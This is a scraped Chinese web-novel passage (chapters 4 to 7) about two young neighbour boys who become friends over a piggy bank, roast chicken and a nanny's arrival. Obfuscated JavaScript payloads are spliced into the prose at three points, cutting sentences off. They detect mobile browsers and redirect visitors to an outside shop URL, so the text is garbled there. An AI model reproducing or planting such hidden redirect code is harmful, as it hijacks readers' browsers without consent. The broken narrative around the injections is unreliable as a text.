徐知星不可思议地瞧着眼前的一幕,只见刚才如何都掏不出来的硬币一个个全部听话地聚集在猪鼻子处,路西鸣移开黑色石头,轻松地将一沓硬币从猪鼻子里取下来。 “路西鸣,你好厉害啊!”徐知星瞳孔放大,眼睛都在放光,不自觉地凑近问:“你是天才吗路西鸣。” “你是怎么做到的啊?” 这是两人第一次站的那么近说话,路西鸣发现徐知星比从阳台上看还要白,又白又嫩,脸上肉嘟嘟的,用手指戳一下,脸上的软肉肯定会凹下,像个可以搓揉的面团。睫毛又长又翘,说话时偶尔会眨眨眼,眼睛都是亮晶晶的,比天上的星星还要亮。 路西鸣就看着徐知星一张小嘴又张又合说个不停,称赞的话不绝于耳,他睫毛微颤,故作镇定地说,“这是吸铁石,可以吸出硬币。” “哇,你好聪明啊。” “吸铁石也好厉害。” 徐知星也夸了夸吸铁石,但是更多地在夸赞路西鸣,他说路西鸣特别厉害,是科学家,是天才。 哪是什么科学家,就只是一块普通的吸铁石而已。 可是路西鸣突然不想解释了,因为他看见徐知星眼中毫不掩饰地崇拜,那是一种他从来没见过的眼神。 他享受徐知星的赞赏崇拜,他希望徐知星一直这样看着他。 将一块的硬币全部取出来后,剩下的钱就容易多了。很快小猪存钱罐的钱就被两人合力取出来了。 “好多钱啊。”徐知星拿起一个硬币,“一块。” “两块。” “三块五。” “五块。” “六块。” 路西鸣抬头,发现徐知星一本正经地拿着一个五毛的硬币,从五块加成了六块。 “五块五。”路西鸣纠正说。 “好,五块五。”徐知星又拿起一枚一块硬币,“六块。” 路西鸣再次纠正道:“七块五。” 徐知星自顾自道:“八块。” 路西鸣:“……” “徐知星你数错了。” “啊?”徐知星懵了下,手上还攥着几个硬币,一时忘记自己刚才数到哪里了。于是将手中的钱一股脑地全部塞到路西鸣手里。 “都给你!” “都是你的。” 路西鸣将小猪存钱罐的钱,分门别类地叠好,在海绵垫上整整齐齐地摞在一起。 “有一张一百,一张五十,一张二十,三张十块,七张五块,三十个一块,十四个五毛,五个一毛。” 路西鸣总结说:“一共二百七十二块五。” “哇,我好有钱啊。”徐知星叉着腰惊叹道,他原来这么有钱呢。 辣条一毛钱一片,棒棒糖两毛一个,娃哈哈一块钱一瓶,他可以买好多好多东西。 徐知星豪气地说:“路西鸣,我养你一辈子!” 4. 二两 看着徐知星欣喜的目光,路西鸣开口道:“养不了。” “啊?为什么?”徐知星顿时蔫了,“为什么养不了?” 路西鸣坐在海绵垫上说:“钱不够。” “那要多少钱啊?”徐知星抱着路西鸣的胳膊晃了晃。 “我也不知道,但是这些肯定不够。” 路西鸣回忆说:“我爸爸买一瓶酒就要一千块。” “啊。”徐知星张大了嘴,惊讶地说:“一瓶酒就要一千块啊。” 路西鸣点点头,“所以养我两百多肯定不够。” 徐知星挠挠头说:“可是我不喝酒呀。” “难道你喝酒吗?你如果要喝酒,那确实不够。”徐知星有些苦恼。 “我不喝酒,现在不喝,以后也不喝。” “对啊,我们俩都不喝酒,就不需要花一千块,我们只需要两百二七十二块五。” “两百七十二块五很多的,能买好多好多零食,把我的床都铺满。”徐知星说话时还张开手臂在空中划拉一圈。 “还是不够。” 徐知星听后瘪了瘪嘴,“那我以后会少吃一点的,零食我们一人一半。” 路西鸣没说话。 徐知星着急了,又想想说:“等我长大了,我还可以去上班。” “等我上班了就有钱了,好多好多钱。这还不够吗?” 路西鸣没有回答这个问题,只是问:“为什么要养我?” 徐知星紧紧挽着路西鸣的胳膊,把头靠在他身上说:“因为我想和你玩啊。” “为什么想和我玩?” “因为我喜欢你啊。”徐知星脱口而出。 路西鸣怔神愣了下,自他有记忆以来,这是第一次有人跟他说喜欢你。 徐知星则继续说:“因为我喜欢你,所以我想和你一起玩。” 路西鸣一只手不自觉地握紧,捏着自己的衣角无所适从,半天说不出话。 “你和我一起玩好不好?” “路西鸣,好不好啊?” 路西鸣手指紧握,不确认地问:“你刚才说什么?” 徐知星重复了一遍,抱着路西鸣的胳膊说:“因为我喜欢你啊。” “以后我们一起玩。” 路西鸣只在意前一句,眼神变得认真,却又带着几分试探,忐忑道:“真的?” “真的喜欢我?” “对啊。” “为什么喜欢我?”因为是第一次听到有人说喜欢自己,路西鸣总是想要多确认几遍看看这是不是真的存在。 徐知星不理解喜欢还有为什么不为什么,喜欢就是喜欢啊。可是路西鸣在很认真的问,那他也要很认真的回答。 “因为我觉得你好,你每天都陪我在阳台,你长得也好看,所以我喜欢你。” “那要是我不好看呢?我以后也不陪你呢?”路西鸣不依不饶地反问。 “那我也喜欢你,一直喜欢你。我们一起玩吧。”徐知星被反反复复问了好几次,视线不由得停在海绵垫上色彩斑斓的积木上说:“我们去玩积木好不好?” “我想搭积木玩。” “我的大桥还没搭完,我想搭桥。” 路西鸣却拽着徐知星的手不松开,“我还有个问题,你回答我了,我们再去玩。” “好吧好吧,那你快问啊。”徐知星另一只手已经在摸积木了,心思都快飘走了。 “你会一直喜欢我吗?” “你不许撒谎,要很认真地回答我。”路西鸣拿掉徐知星手上的积木,让他很认真地去回答这个问题。 徐知星手上的玩具被拿走了,只好坐在海绵垫上,摸着脑袋思考这个问题,片刻后说道:“那你不欺负我,我就喜欢你。” “你欺负我,我就不和你玩了。” “妈妈说不能和欺负我的小朋友一起玩。” “我如果不和你玩了,我就不喜欢你了。” 路西鸣沉默几瞬,答应说:“我以后不欺负你,你也要一直喜欢我。” “好!”徐知星大声答应道,准备去玩积木时,突然想起什么说:“我喜欢你,你也要喜欢我,我一直养你好不好?” 路西鸣静静地看着徐知星,在那双亮晶晶的眼睛注视下郑重地点点头。 从现在开始,他就不讨厌徐知星了。 因为徐知星喜欢他,所以他也喜欢徐知星。 而且他以后还会少吃一点,他吃东西不多,两百七十二块五养他肯定够了。 在得到肯定的答复后,徐知星欢呼雀跃,拉着路西鸣的手又蹦又跳。“那我们玩积木吧!” “路西鸣,我们搭个大桥,你知道大桥吗?好长的一座桥。” 徐知星迫不及待地拉着路西鸣陪他一起玩各式各样的玩具,“路西鸣,你玩铲车吗?我还有好多车。” “有消防车,警车,铲车,越野车,好多好多车,还有救护车,你要是生病了,就要用救护车拉走。” 徐知星有一地的玩具,他如数家珍地拿出来给路西鸣看。 路西鸣玩具很少,也很少玩这些,虽然有些稀奇,但是勾不起多大兴趣,他想和徐知星玩,玩什么不重要。 就在两人坐在海绵垫上玩玩具时,茶几上的座机电话叮叮叮地响起来了。 徐知星小跑到电话机前,拿起听筒,“喂,妈妈。” 林芳在纺织厂的车间上班,按规定车间不能带孩子去。徐明军是工地的项目经理,整日待在工地,带个孩子也不安全。 夫妻俩都要上班,工作日都没时间带孩子。 之前徐知星一直养在乡下姥姥家,今年才接到市里。 一来是徐知星到读书的年纪了,另一方面是姥姥姥爷年纪大了,年前生了病,带小孩身体也吃不消。 所以一来二去,徐知星就跟着爸爸妈妈留在了市区。 平时送托儿所还好,可是暑假只能把徐知星一个人留在家。每天中午林芳会回来做饭,上午和下午时不时会给家里打几次电话,确保徐知星没事,毕竟这么大点孩子总归不太放心。 但好在徐知星乖巧听话,省了夫妻俩不少事。 林芳趁着休息时间,坐在车间走廊的长椅上,给家里打了个电话,听见听筒那边传来徐知星稚嫩的声音,上班的疲惫和担心孩子的忧虑都瞬时消散不少。 “星星,你在干嘛呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761657|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我在家里玩。”徐知星乖乖地回答着妈妈的问题。 “在小帐篷里吗?” “没有了,我在客厅里玩,和路西鸣一起。” “路西鸣??”林芳音量不自觉提高。 “对啊,路西鸣来找我玩了。”徐知星眼睛弯弯地笑道。 林芳想起昨天晚上的事情,不由得担心,着急忙慌道:“你们在玩什么啊?” “那他有没有欺负你啊?” “没有啊。”徐知星替路西鸣说道:“他没有欺负我,我们在一起吃了鸡蛋,喝了娃哈哈,现在要搭桥,路西鸣要帮我搭积木。” 路西鸣听到这句话,神情微滞,眸光顿时黯淡,不由得揣测起徐知星妈妈会说些什么。 林芳总归是不放心,难免多叮嘱几句,“那他万一欺负你,你记得还手啊。” “他没有欺负我。”徐知星不高兴地说:“路西鸣从来没有欺负我,只有果果哥才欺负我。” “好了好了,不说这个了。”林芳见自己儿子根本没心眼,人家路西鸣还在家里坐着呢,他就直接大大咧咧地说出来了,但是她在电话里也不好说太多,只得交代几句让徐知星注意安全。 路西鸣在一旁安静地听着徐知星的话,敏感地察觉到了徐知星妈妈不喜欢自己,于是从海绵垫上站起走到徐知星面前。 “徐知星。” “怎么了?”徐知星放好电话,奇怪地看向路西鸣。 “你妈妈是不是不喜欢我?” “妈妈没有说不喜欢你啊。”徐知星回想了下妈妈的话,妈妈没有说过不喜欢路西鸣的话,妈妈只说让他们不要一起玩。 路西鸣又问:“你妈妈不喜欢我,你还会喜欢我吗?” 徐知星发现路西鸣好像很在意这一点,总是问好几遍,他虽然不明白,但还是认真道:“喜欢你,一直喜欢你。” 路西鸣嗯了一声,却不安地皱着眉毛。 徐知星歪着头看了看路西鸣,盯了半天也没想出个所以然,“你不要总是想这些,我会一直喜欢你的。” “我刚才跟妈妈说,让她回来的时候给我们带两个二两烤肉吃,她都同意了。” “四两我们吃不完。” “我们不吃四两,我们吃二两。”徐知星纠正说。 “可是两个二两就是四两啊。二加二等于四。”路西鸣数着徐知星手指头跟他解释。 徐知星摇摇头,“二两烤肉,不吃四两。” “二两我们都吃不完,四两更吃不完。” “吃的完,我自己一个人就能吃二两烤肉。” 路西鸣不太信,“二两很多的,你这么小肯定吃不完,我妈妈出去吃面也才吃二两。” “我吃面不吃二两,我只吃二两烤肉和二两鸡翅。” “你怎么能吃的完呢?”路西鸣奇怪地问,“很多的。” “就是吃的完。” “你没吃过二两鸡翅吗?” 路西鸣摇摇头,“吃不了这么多。” “不多不多,就一点点。” 徐知星比划了好半天,路西鸣突然反应过来,试探性问:“你是不是想说奥尔良?” 5. 鸡腿 “对啊。”徐知星肯定地点点头,“二两烤鸡腿啊。” 路西鸣一字一字道:“奥、尔、良” “嗯嗯!二、两!”徐知星也跟着大声地重复了一遍。 路西鸣:“奥、尔、良。” 徐知星:“二、两!” 路西鸣咬字清晰地说:“奥、尔、良。” 徐知星声音一下比一下大:“二、两!” …… 徐知星越说越起劲,路西鸣嗓子都快哑了,徐知星还在二两。 路西鸣喝了口娃哈哈润润嗓子,两个人就继续奥尔良和二两。 林芳推门进来就听到这两小孩一唱一和的奥尔良和二两。 “星星。” “西鸣今天也来了啊?” 听到妈妈的声音,徐知星马上就屁颠屁颠地跑过去,“妈妈,二两鸡腿!” 林芳把路上带的两个奥尔良鸡腿分别递过去,“你和西鸣一人一个。” “谢谢妈妈。” 徐知星立刻张开手去接鸡腿,还不忘把其中一个分给路西鸣。 “路西鸣,给你吃二两鸡腿。” 路西鸣接过鸡腿还不忘反驳说:“奥尔良。” 徐知星这下没说话了,但不是他真的被纠正过来了,只是嘴巴太忙,没有空回话,忙着吃二两鸡腿呢。 林芳换好鞋在一旁默默打量着路西鸣,他遗传了他妈的少数民族长相,眼窝深邃,浅棕色的瞳孔,睫毛浓密卷翘,鼻梁高挺,嘴唇红润,下巴也尖尖的,脸型匀称。在五岁小孩五官都没有张开的年龄,路西鸣已经可以窥见长大后的帅气模样,就连吃东西也慢条斯理,小心谨慎。 鸡腿外包了一层油纸,油纸外又套了一层塑料袋。路西鸣接过塑料袋后,小心翼翼地剥开最外面的塑料袋,手指隔着塑料袋去剥油纸,保证自己的手上绝对不会沾上油渍。就连吃的时候也十分谨慎,不想让自己脸颊或者手指沾上任何一点油腥,小口小口的。看上去极其爱干净。 反观徐知星,现在还是包子脸,婴儿肥脸蛋圆圆的,眼睛也圆圆的,远远看就像个小苹果,皮肤比路西鸣白皙许多。看着文静,实际性格和长相简直南辕北辙,洗了手后索性直接把鸡腿从油纸中拿出来,一边用手握着鸡腿,一边还要手舞足蹈地和路西鸣说话。 期间察觉到了妈妈的视线后,还要把鸡腿高高举起,递到林芳嘴边,“妈妈也吃。” “我不吃,你吃,妈妈不饿。” 看见儿子还惦记自己,林芳心都快化了,别人的孩子虽然乖,但还是自己家的孩子最好。 况且路西鸣看着闷闷的,不爱说话,一双眼睛沉沉的,总是看上去有心事的样子。尤其路西鸣父母还离婚了,脾气也怪。徐知星又是个没心眼的,林芳当妈的,难免多想,担心徐知星和这样的孩子一起玩受欺负。 只是如今看徐知星兴头正盛的样,她也不好说什么。看了一会后,起身往厨房走去,“我去做饭,中午我们吃鱼汤。” “西鸣留下来一起吃饭吧。” 徐知星在客厅十分捧场地说:“我最爱喝妈妈做的鱼汤了。” 等到林芳拉上厨房的玻璃门后,路西鸣才慢慢抬起头。他早就敏锐地察觉到了林芳落在他身上的视线,他对别人的视线总是格外敏感,善意的,恶意的,他总是能清楚分清。 徐知星妈妈落在自己身上的目光虽然不是完全恶意的,可是毕竟带着警惕。不像徐知星,全然带着善意。 路西鸣从小就知道自己不讨人喜欢,除了徐知星,没人喜欢他。 徐知星还不懂这些弯弯绕绕,自己的鸡腿吃完后就跑到厨房嚷嚷着要洗手。 脸颊和手指的水渍还没干,他又风风火火地跑出来,把刚洗完的手放在路西鸣鼻子下,“你闻,我的手是不是香香的?妈妈刚才用肥皂给我洗了,特别香。” 路西鸣认真闻了闻,手指上确实带着肥皂淡淡的清香。 “是香的。” 徐知星嘴角翘起,骄傲地说:“我每天晚上都用肥皂洗澡,我身上都是香的!” 路西鸣想了下,确实。只用肥皂洗了手就很香了,那用肥皂洗澡肯定更香。 徐知星炫耀了会自己香香的手指后,蹲到路西鸣旁边,捧着脸仰头仔细看他。 自己一个鸡腿都吃完了,路西鸣才吃了三分之一,他不想弄脏手,也不想弄脏脸,所以吃得很慢。 “路西鸣,你喜欢吃二两鸡腿吗?”徐知星问。 路西鸣孜孜不倦地纠正:“奥尔良。” 纠正结束后他又补充说:“不喜欢,也不讨厌。” “不喜欢也不讨厌,到底是喜欢还是讨厌啊?”徐知星这个年龄对于黑白界限分得很清楚,不喜欢就是讨厌,不讨厌就是喜欢。世界上也只分为好人和坏人,他喜欢的是好人,不喜欢就是坏人。 爸爸妈妈姥姥姥爷小姨妹妹路西鸣都是好人,徐知星喜欢。 果果哥和大姑欺负他,他讨厌,所以是坏人。 那不喜欢也不讨厌,到底算什么呢? 路西鸣动作停了停,思考如何回答这个问题。 徐知星又追问:“到底是喜欢还是讨厌啊。” “讨厌。” 喜欢是很珍贵的感情。他宁愿选择讨厌,也不要勉强承认喜欢。 “啊,你讨厌吃鸡腿啊?”徐知星似乎很惊讶这个答案。 “嗯。”路西鸣低头准备继续吃鸡腿时,突然抬头看了看徐知星,他正目不转睛地盯着自己……的鸡腿。 “你吃。”路西鸣将还剩下的三分之二的鸡腿递给徐知星。 “你不吃了吗?”徐知星咽了咽口水问。 “不吃,你吃。” 徐知星舔舔嘴唇说:“可是我洗手了。” 路西鸣剥开油纸,将鸡腿肉递到徐知星嘴边,“吃。” 徐知星张大了嘴,又想起什么,确认说:“你真的不吃了吗?” “你真的讨厌吃鸡腿吗?” “那我吃了啊?” 对于徐知星的三连问,路西鸣只有两个字,“你吃。” 说话的同时把鸡腿送到徐知星嘴边。 徐知星得到肯定的答复后,也不客气,张开嘴开心地享受着美味。 林芳洗菜的功夫伸出头朝客厅望了眼,立刻提醒说:“星星,不要抢其他小朋友东西吃。” 徐知星嘴里还含着鸡肉,又想起妈妈说的,不能在吃东西的时候说话,连忙着急地嚼碎鸡肉咽下去,“妈妈,我没有抢。” “是路西鸣给我的。” “对不对啊,路西鸣?” 徐知星急切地目光投向路西鸣。 路西鸣点点头。 “西鸣你自己吃,星星已经吃了一个了,等会他吃多了,中午吃不下饭。” 徐知星听到这句话,只好闭上嘴巴,“我不吃了,你吃吧,路西鸣。” 路西鸣抬头看看林芳,见她转过身继续洗菜后,又把鸡腿递到徐知星嘴边,压低了声音说:“你吃。” 徐知星想吃鸡腿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761658|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又想到林芳说的话,进退两难。 面前是外焦里嫩香喷喷的鸡腿,身后是说一不二的妈妈。 徐知星摸了摸脑袋上的揪揪,陷入了五岁生涯中最纠结的决定——他到底要不要吃鸡腿。 “你吃。”路西鸣又重复了一遍。 徐知星回头望了眼妈妈。 路西鸣也跟着看过去,徐知星又转过头看看路西鸣,以及他手中的鸡腿。 在经过一番天人交战后,徐知星牵着路西鸣的衣角往阳台方向走了走,确定妈妈看不到后,他才长舒一口气,小声道:“我们在这里吃。” “好。” 路西鸣手拿鸡腿,徐知星咬一口,他就换一个位置,确保徐知星手上每一口都能吃到肉,而且徐知星的手还不会脏。 两人在阳台偷偷摸摸半天,直到徐知星吃完鸡腿。 “擦嘴。”路西鸣用茶几上拿了两张纸,一张给自己擦,一张擦在徐知星嘴上。 反复好几次,确保看不出来他刚刚偷吃了鸡腿,路西鸣才满意地点点头。 就在两人以为天衣无缝时,楼下传来一声响亮的男中音。 “星星!” 徐知星从栏杆缝隙朝下望去,“爸爸!” “这么热你在阳台干嘛,进去吹风扇。” 徐知星刚吃完一个鸡腿,做贼心虚,眼神止不住乱飘,拉着路西鸣就跑回自己房间。 留下徐明军在楼下奇怪地向楼上张望。 林芳从厨房走出来,站在楼梯口对着徐明军道:“你今天中午怎么回来了?” 徐明军左手夹着黑色公文包,右手提了个大西瓜说:“工地里刚好停电了,天热,干脆放了高温假。” “也是,我厂里上午也停电了,都让我们回来了,幸亏家里没停电,不然中午都不知道吃什么。不过现在每天去也没什么活干,我前几天还听组长说现在厂里效益不行。”想到这林芳有些发愁。 徐明军走上楼梯安慰说:“别想了,万一厂里干不下去,在家里带星星也行,反正还有我啦。” “那怎么能行,妇女能顶半边天,我也是要工作劳动的人。” “行,我老婆说什么都行。”徐明军最让林芳满意的一点就是听话,不犟嘴,两人很少吵架。 “对了,家里来客人了?我刚才在楼下看到阳台有个小孩和星星一起玩,谁啊?” 林芳哦了一声,“路西鸣啊。” “昨天还说让你儿子别和人家玩,今天你儿子就把人家喊家里来了。” 听到路西鸣的名字,徐明军惊讶说:“那小孩可闷了,之前不是星星一直喊他玩,都不理星星吗?” 林芳也奇了怪了,“谁知道啊,小孩子嘛,一天一个主意。昨天还玩的不好,今天又好的很,刚才两人还吃一个鸡腿来着。” 徐知星拉着路西鸣躲到房间里,掩耳盗铃地捂住眼睛,把被子蒙在头上。 路西鸣虽然不理解,但照做。 “为什么要这样?” 徐知星在被子里睁大眼睛,努力看清路西鸣的模样,但是黑漆漆的一片什么都看不到,他只好伸手去摸路西鸣的脸,“我们躲起来,他们就找不到我们了。” “为什么要躲?” “因为好玩啊。”徐知星天真烂漫地回答。 路西鸣不知道有什么好玩的,但是徐知星在这,他也就在这了。 两人在卧室躲了一会,直到听见徐明军在客厅喊了一声。 “星星,你的存钱罐怎么拿出来了?” 6. 保姆 听见爸爸在外面提到存钱罐的事,徐知星赶紧一溜烟从床上跑起来。“爸爸,不许碰我的存钱罐。” 徐明军乐了,“我还不许碰了?” “就是不许碰,这是我的钱。” 徐知星抱着小猪存钱罐不松手,紧紧护在怀里。路西鸣也跟着走出来,安静地站在客厅。 徐明军放下西瓜,连人带存钱罐一把举起,把徐知星抱在怀里说:“行,这是你的钱,爸爸不碰。” “那你准备用这个钱干嘛呢?”徐明军刮了刮徐知星鼻子问。 徐知星理直气壮地指了指路西鸣说:“我要养路西鸣。” “你养路西鸣?” “就用存钱罐的钱?”徐明军不可思议地问,嘴角带着惊讶的笑意。 “对啊,里面有好多钱,两百七十二块五呢。”徐知星把这个数字记得很牢。 徐明军一下来了兴趣,“星星,你自己数出来存钱罐的钱吗?” 徐知星头摇得像个拨浪鼓,“不是我,是路西鸣,他好厉害,用个吸铁石一下就把钱全部拿出来了,钱是他数的,他好聪明。” 徐知星毫不吝啬地真心夸赞路西鸣,却没有察觉父母看路西鸣的眼神多了几分警惕和考究。 徐明军不信路西鸣能把这一沓零钱数对,把徐知星放下后,拿起海绵垫上的整理好的零钱,想要仔细核对下。却被徐知星拦住说:“不许拿我的钱。” “小兔崽子,你爸不要你的钱,我就数数看,免得你们数错了。” “不会的,路西鸣数了的。”徐知星蹲在旁边看着他爸把钱来回数了两遍,确实是两百七十二块五,有零有整,完全对的上。 徐明军啧了一声,朝路西鸣挥挥手,亲切道:“西鸣过来。” 路西鸣不喜欢徐知星父母落在自己身上的眼神,总是带着好奇谨慎,仿佛他只是一只可能会随时攻击人的猛兽。 路西鸣没有动,反倒是徐知星跑过去道:“路西鸣,过来呀。”路西鸣朝前走了两步。 徐明军蹲下问道:“西鸣,这些钱都是你自己数的吗?”“嗯。” 林芳奇怪说:“你问这个干嘛?我回来的时候家里就他们两,不是路西鸣,就是徐知星数的啊。” 徐明军回答说:“星星二十以内算数都费劲,每次数都恨不得把脚趾都数一遍。” 林芳也想起这一茬了,惊讶地看着路西鸣。徐明军从零钱里抽出几张,递给路西鸣,“西鸣,你能帮叔叔数下,这个是多少吗?” 路西鸣看看徐知星,发现他带着一脸期待,于是接过零钱,很快数好道:“三十二。” 徐明军眼神变得认真,又给了几张零钱,其中还夹着几个硬币,路西鸣再次给出准确的答案,“五十二块一。” 几次下来,路西鸣都能快速算出零钱的数量,徐明军又问,“西鸣,你怎么知道硬币拿不出来,要用吸铁石的?” 路西鸣眼睫低垂说:“书上写的我就记住了。” 徐明军长吁短叹,感叹好一番,摸了摸路西鸣脑袋说:“这脑瓜子真好使啊。” “路西鸣你好厉害啊。”徐知星在一旁夸奖道。 徐明军转头又看了看自己儿子,同样的方法把几张零钱递过去,结果十几块左右的徐知星还能答出来。里面添一张二十,或者多加几个硬币,徐知星就半天算不出来,随口给一个数字,徐明军纠正说不对,徐知星还说:“就是!” 后来干脆徐明军给了零钱,徐知星直接丢给路西鸣数,“路西鸣会数就行了。我就不用数了。” 徐明军叹口气,又摸了摸徐知星脑袋上的头发揪揪,“这都在脑袋上安了个天线了,怎么还学不过别人。 就在徐明军寻思路西鸣这脑子怎么长的,要不要给自己儿子多吃点维生素片时,门口传来几声急促的敲门声。 “老徐去开门!”林芳吩咐说。 徐明军打开门一看,面露惑色:“你是?” 门口站着一位约莫四十岁左右的妇女,身体壮实,皮肤黝黑,自我介绍说:“我是对面那家小孩的保姆姓刘,我想问下……”保姆话还没说话,耷拉的三角眼猛地一抬,抓住了徐明军身后的路西鸣,“你这孩子,出来也不说一下。” 那架势就仿佛是老鹰捉小鸡,路西鸣站在徐明军身后就像是手无缚鸡之力的小鸡仔,一把就被刘菊拽了了过去。 徐知星眼疾手快地抓住路西鸣的另一只胳膊,不满地仰头对着刘保姆控诉说:“你干嘛这么凶!” 徐明军也皱了皱眉,挡在保姆和孩子之间,“大姐,你有话好好说,干嘛动手。” 刘保姆连忙松开手,搓了搓手掌,皱纹堆积笑笑道:“我不是一下子着急了吗,你说我这买菜回来,孩子丢了,可不得急坏了。你说这要是自家孩子也就自认倒霉了,这雇主家的孩子丢了,小财神爷不知道跑哪去了,咱这把命赔了都赔不起,你说对不对大兄弟。” 徐明军眉头舒展,也理解保姆的心情,语气稍缓,“小孩子玩性大,当大人的就要多看着点。” “谁说不是呢?出门前都说在家好好待着别乱跑,就这一会功夫人都没了。”保姆和徐明军搭腔道,两人说了几句后。刘保姆又去抓路西鸣的胳膊说:“那我把这孩子带走了啊。” 徐明军没有闪开,只是问路西鸣:“西鸣,这是你家保姆吗?” 路西鸣不应声,只是挣脱开保姆的手,往徐知星旁边挪了挪。 徐知星警惕地看着面前的保姆,两条胳膊抬起把路西鸣护在身后,“你不许欺负路西鸣。” “你这孩子……”刘保姆索性双手一摊,哭天喊地道:“我这保姆真是不好当啊。” 徐家的房门半敞,刘保姆声音又大,一个楼的街坊四邻有的已经好奇地探出头来看咋回事。 林芳正在厨房做饭,听到声音从厨房走出来,看向门口这架势当机立断道:“在这嚷嚷什么,你说你是孩子保姆,你给他爸妈带个电话,不然你把孩子从我家带走万一出什么问题,人家爸妈来我们怎么办?” “赶紧打电话。”林芳这暴脾气才不惯着,让保姆要么给路西鸣爸妈打电话确认,要么就别在这喊。 刘保姆无奈之下只好拨通路建峰和梁卓的电话,还好两个人当中还有一个接电话的。 梁卓在电话里匆匆和徐家夫妻确认后,又让保姆把电话给路西鸣。 路西鸣甚至还没接过手机,梁卓的话已经从听筒里冒出来了。 “路西鸣,和你说过的,不许出门。你肯定记得,为什么不听话?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761659|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁卓略显冷酷的话让徐家夫妻多少有些意外,这怎么也不像一个当妈的和五岁孩子说的话。 反观路西鸣和保姆的态度,都已经习以为常了。 夫妻俩对视一眼,话到嘴边又忍了忍。 就在空气一片寂静时,徐知星接话说:“阿姨,那路西鸣可以来我家玩吗?” 梁卓没听出这是谁,一时沉默没说话。 徐知星奶声奶气道:“阿姨,我是徐知星,住在你家对面,我想让路西鸣来陪我玩,可以吗?” “好不好呀,阿姨。” 梁卓就生了路西鸣这一个“怪胎”,自那以后对小孩都敬而远之。如今听到徐知星自来熟的撒娇,一时有些呆愣。 “阿姨,你以后有空也来我家玩好不好?我有好多玩具,我爸爸刚才还买了个特别大的西瓜,你来我家吃西瓜啊。” 林芳不好意思地笑了笑,对着听筒向梁卓解释说:“卓儿,这是我儿子,我之前生他的时候,你来医院还见过的。” 梁卓和林芳之前是纺织厂一个组的工友,两人一冷一热。梁卓长得漂亮,性格傲气冷酷,因为得罪过组长,总是被针对,多亏了林芳在中间周旋,才不至于那么受欺负。梁卓也瞧不上纺织厂,私下没少和林芳吐槽说在这小车间干一辈子没出息,没过两年就辞职了开了家美容院。林芳倒是图了个安稳,离家近,钱虽然不多,但养家糊口够了。 从前在厂里两人倒还要好,自从梁卓辞职后,两人见面机会就越来越少了,要不是今天突然来了这通电话,梁卓还真不知道什么时候才能和林芳打个电话。 如今听到朋友家小孩娇声娇气地和自己说话,态度也缓和许多,“想起来了,当时你生他的时候可费劲了,他可胖了。” “我不胖。”徐知星嘟着嘴,他不乐意听别人说他胖。 梁卓也不会哄孩子,只好又对着路西鸣说:“除了徐知星家,你不要乱去别的地方,保姆找不到你会很麻烦,知道了吗,路西鸣?” 路西鸣握着手机也不吭声,直接把电话挂断,把手机还给保姆。 “那我把路西鸣带走了。”保姆仰起头,像只打了胜仗的公鸡。 徐知星又牵着路西鸣的手,依依不舍,不愿意小伙伴离开。 徐明军抱起儿子说:“路西鸣要回家吃饭,星星我们也要吃饭了。” “那路西鸣你吃了饭再来找我玩好不好?” 路西鸣郑重地点点头,“吃完饭来找你。” “嗯,跟西鸣说拜拜。” 徐知星乖巧地举起手在空中晃了晃,直到路西鸣走远后,林芳才关上门。 徐明军惊叹说:“路西鸣这脾气可真是不得了。” “他妈电话,他说挂就挂,打电话过来一个字都不说,不想听就挂掉。这才五岁啊,以后大了怎么得了。”徐明军带着几分无奈的笑意。 林芳也摇摇头,“可不是嘛,怪不得说生小孩都是出来讨债的。梁卓在厂里多傲的一个人,她儿子敢这么对她,她暗地里不知道气了多少回。” “慢慢磨吧。” 徐知星听不懂大人这些奇奇怪怪的话,小跑到海绵垫上把自己的压岁钱都收好,一个硬币都不少。 既然他们都不养路西鸣,那就他养! 7. 哮喘 自那天以后,每天林芳去上班,保姆去买菜,徐知星和路西鸣则在家里玩。 有时候徐知星也会去路西鸣家,但是他嫌路西鸣家没有玩具,去过一两次后就不愿意了,每次都让路西鸣来他家玩。 林芳和徐明军心里对路西鸣总归不太放心,主要是他太聪明了,脾气又大,性格古怪,万一那天徐知星不小心招惹到他了,平白被凶一顿,他们夫妻俩又舍不得。 只是徐知星正在兴头上,他也不懂大人的弯弯绕绕,他觉得路西鸣就是最好的小朋友,每次玩什么都愿意陪他玩。 果果哥总是抢他玩具,妞妞又不陪他玩铲车,只有路西鸣最好。 所以他也要对路西鸣好,每次遇到什么时候好吃的,还惦记着给路西鸣一份。 有次林芳晚上在家里炸鸡块,徐知星都还要给路西鸣拿一份去。 起初林芳拦着不让,倒不是不舍得这点吃的,主要是别人家小孩吃东西吃出什么问题来,万一家长追起来他们到时候里外不是人。 